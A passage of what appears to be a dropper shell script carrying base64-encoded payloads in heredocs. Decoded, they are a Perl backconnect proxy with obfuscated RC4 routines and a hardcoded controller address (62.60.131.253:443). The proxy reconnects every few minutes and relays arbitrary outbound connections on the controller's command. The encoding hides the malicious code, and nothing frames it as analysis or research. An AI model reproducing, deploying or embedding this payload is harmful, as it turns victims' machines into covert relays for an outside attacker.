JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_59() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm 